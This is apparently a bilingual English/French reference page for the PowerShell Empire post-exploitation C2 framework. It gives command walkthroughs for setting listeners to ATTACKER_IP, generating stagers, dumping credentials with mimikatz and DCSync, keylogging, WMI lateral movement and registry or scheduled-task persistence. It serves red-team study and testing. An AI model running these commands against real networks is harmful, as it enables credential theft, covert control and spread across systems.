retour aux outils back to tools Ducklings

PowerShell Empire

Framework C2 de post-exploitation utilisant des agents PowerShell chiffrés. Inclut des modules d'énumération AD, de dumping d'identifiants, de mouvement latéral et de persistance. Post-exploitation C2 framework using encrypted PowerShell agents. Includes modules for AD enumeration, credential dumping, lateral movement, and persistence.

↗ https://github.com/BC-SECURITY/Empire

Overview

Empire is a mature post-exploitation framework with a modular design. Its agents are pure PowerShell (or Python on Linux/macOS) and communicate over encrypted HTTP/S. Starkiller is its web-based GUI. Maintained by BC Security as a fork of the original PowerShell Empire.

Setup

Install (Kali / Debian)

sudo apt install powershell-empire starkiller

Start Empire server

sudo powershell-empire server

Start Empire client (CLI)

sudo powershell-empire client

Or use Starkiller (web GUI)

starkiller   # Open http://127.0.0.1:1337 in browser

Empire CLI Basics

# Connect to server
(Empire) > connect --host 127.0.0.1 --port 1337 --username empireadmin --password password123

# List listeners
(Empire) > listeners

# List agents
(Empire) > agents

# Interact with agent
(Empire) > interact AGENT_NAME

# List modules
(Empire) > usemodule

Listeners

# HTTP listener
(Empire) > uselistener http
(Empire: listeners/http) > set Name http_listener
(Empire: listeners/http) > set Host http://ATTACKER_IP
(Empire: listeners/http) > set Port 80
(Empire: listeners/http) > execute

# HTTPS listener (requires cert)
(Empire) > uselistener https
(Empire: listeners/https) > set CertPath /path/to/cert.pem

# Redirector listener (DNS)
(Empire) > uselistener redirector

Generating Stagers (Agents)

# PowerShell launcher (one-liner for execution)
(Empire) > usestager windows/launcher_bat
(Empire: stager/windows/launcher_bat) > set Listener http_listener
(Empire: stager/windows/launcher_bat) > execute

# DLL stager
(Empire) > usestager windows/dll
(Empire: stager/windows/dll) > set Listener http_listener
(Empire: stager/windows/dll) > execute

# HTA (HTML Application)
(Empire) > usestager windows/hta

Post-Exploitation Modules

# Credential dumping
(Empire: AGENT) > usemodule credentials/mimikatz/logonpasswords
(Empire: AGENT) > usemodule credentials/mimikatz/dcsync

# Keylogging
(Empire: AGENT) > usemodule collection/keylogger

# Screenshot
(Empire: AGENT) > usemodule collection/screenshot

# AD enumeration (PowerView)
(Empire: AGENT) > usemodule situational_awareness/network/powerview/get_domain_user
(Empire: AGENT) > usemodule situational_awareness/network/powerview/get_domain_controller
(Empire: AGENT) > usemodule situational_awareness/network/powerview/find_localadmin_access

# BloodHound collection
(Empire: AGENT) > usemodule situational_awareness/network/bloodhound3

# Lateral movement via WMI
(Empire: AGENT) > usemodule lateral_movement/invoke_wmi
(Empire: lateral_movement/invoke_wmi) > set ComputerName target.domain.local
(Empire: lateral_movement/invoke_wmi) > set Listener http_listener

# Persistence
(Empire: AGENT) > usemodule persistence/userland/registry
(Empire: AGENT) > usemodule persistence/elevated/schtask

Running Shell Commands

# Execute shell command on agent
(Empire: AGENT) > shell whoami
(Empire: AGENT) > shell net user

# Run PowerShell
(Empire: AGENT) > shell Get-Process

# Upload/download
(Empire: AGENT) > upload /local/file.exe
(Empire: AGENT) > download C:\Users\user\Desktop\file.txt

Tips

Starkiller’s GUI is much easier for module discovery than the CLI
Empire agents auto-reconnect — they’re resilient to temporary network interruptions
Modules are PowerShell scripts — readable and customizable
Combine with CrackMapExec or netexec to spread agents via SMB/WMI

Key module categories

collection/         Data collection (keylog, screenshot, clipboard)
credentials/        Credential dumping (mimikatz, hashdump)
lateral_movement/   WMI, PSRemoting, DCOM, pass-the-hash
persistence/        Registry, scheduled tasks, WMI subscriptions
privesc/            UAC bypass, local privesc, token manipulation
recon/              Host/network enumeration
situational_awareness/  AD recon (PowerView), network discovery

Vue d’ensemble

Empire est un framework de post-exploitation mature à la conception modulaire. Ses agents sont en PowerShell pur (ou en Python sous Linux/macOS) et communiquent via HTTP/S chiffré. Starkiller est son interface graphique web. Maintenu par BC Security en tant que fork du PowerShell Empire original.

Installation

# Installer (Kali / Debian)
sudo apt install powershell-empire starkiller

# Démarrer le serveur Empire
sudo powershell-empire server

# Démarrer le client Empire (CLI)
sudo powershell-empire client

# Ou utiliser Starkiller (interface web)
starkiller   # Ouvrir http://127.0.0.1:1337 dans le navigateur

Bases de la CLI Empire

# Se connecter au serveur
(Empire) > connect --host 127.0.0.1 --port 1337 --username empireadmin --password password123

# Lister les listeners
(Empire) > listeners

# Lister les agents
(Empire) > agents

# Interagir avec un agent
(Empire) > interact AGENT_NAME

# Lister les modules
(Empire) > usemodule

Listeners

# Listener HTTP
(Empire) > uselistener http
(Empire: listeners/http) > set Name http_listener
(Empire: listeners/http) > set Host http://ATTACKER_IP
(Empire: listeners/http) > set Port 80
(Empire: listeners/http) > execute

# Listener HTTPS (nécessite un certificat)
(Empire) > uselistener https
(Empire: listeners/https) > set CertPath /path/to/cert.pem

# Listener redirecteur (DNS)
(Empire) > uselistener redirector

Générer des stagers (agents)

# Lanceur PowerShell (one-liner pour l'exécution)
(Empire) > usestager windows/launcher_bat
(Empire: stager/windows/launcher_bat) > set Listener http_listener
(Empire: stager/windows/launcher_bat) > execute

# Stager DLL
(Empire) > usestager windows/dll
(Empire: stager/windows/dll) > set Listener http_listener
(Empire: stager/windows/dll) > execute

# HTA (application HTML)
(Empire) > usestager windows/hta

Modules de post-exploitation

# Dumping d'identifiants
(Empire: AGENT) > usemodule credentials/mimikatz/logonpasswords
(Empire: AGENT) > usemodule credentials/mimikatz/dcsync

# Keylogging
(Empire: AGENT) > usemodule collection/keylogger

# Capture d'écran
(Empire: AGENT) > usemodule collection/screenshot

# Énumération AD (PowerView)
(Empire: AGENT) > usemodule situational_awareness/network/powerview/get_domain_user
(Empire: AGENT) > usemodule situational_awareness/network/powerview/get_domain_controller
(Empire: AGENT) > usemodule situational_awareness/network/powerview/find_localadmin_access

# Collecte BloodHound
(Empire: AGENT) > usemodule situational_awareness/network/bloodhound3

# Mouvement latéral via WMI
(Empire: AGENT) > usemodule lateral_movement/invoke_wmi
(Empire: lateral_movement/invoke_wmi) > set ComputerName target.domain.local
(Empire: lateral_movement/invoke_wmi) > set Listener http_listener

# Persistance
(Empire: AGENT) > usemodule persistence/userland/registry
(Empire: AGENT) > usemodule persistence/elevated/schtask

Exécuter des commandes shell

# Exécuter une commande shell sur l'agent
(Empire: AGENT) > shell whoami
(Empire: AGENT) > shell net user

# Exécuter du PowerShell
(Empire: AGENT) > shell Get-Process

# Upload/download
(Empire: AGENT) > upload /local/file.exe
(Empire: AGENT) > download C:\Users\user\Desktop\file.txt

Conseils

L’interface graphique de Starkiller est bien plus simple pour découvrir les modules que la CLI
Les agents Empire se reconnectent automatiquement : ils résistent aux interruptions réseau temporaires
Les modules sont des scripts PowerShell : lisibles et personnalisables
Combinez avec CrackMapExec ou netexec pour propager des agents via SMB/WMI

Catégories de modules clés

collection/         Data collection (keylog, screenshot, clipboard)
credentials/        Credential dumping (mimikatz, hashdump)
lateral_movement/   WMI, PSRemoting, DCOM, pass-the-hash
persistence/        Registry, scheduled tasks, WMI subscriptions
privesc/            UAC bypass, local privesc, token manipulation
recon/              Host/network enumeration
situational_awareness/  AD recon (PowerView), network discovery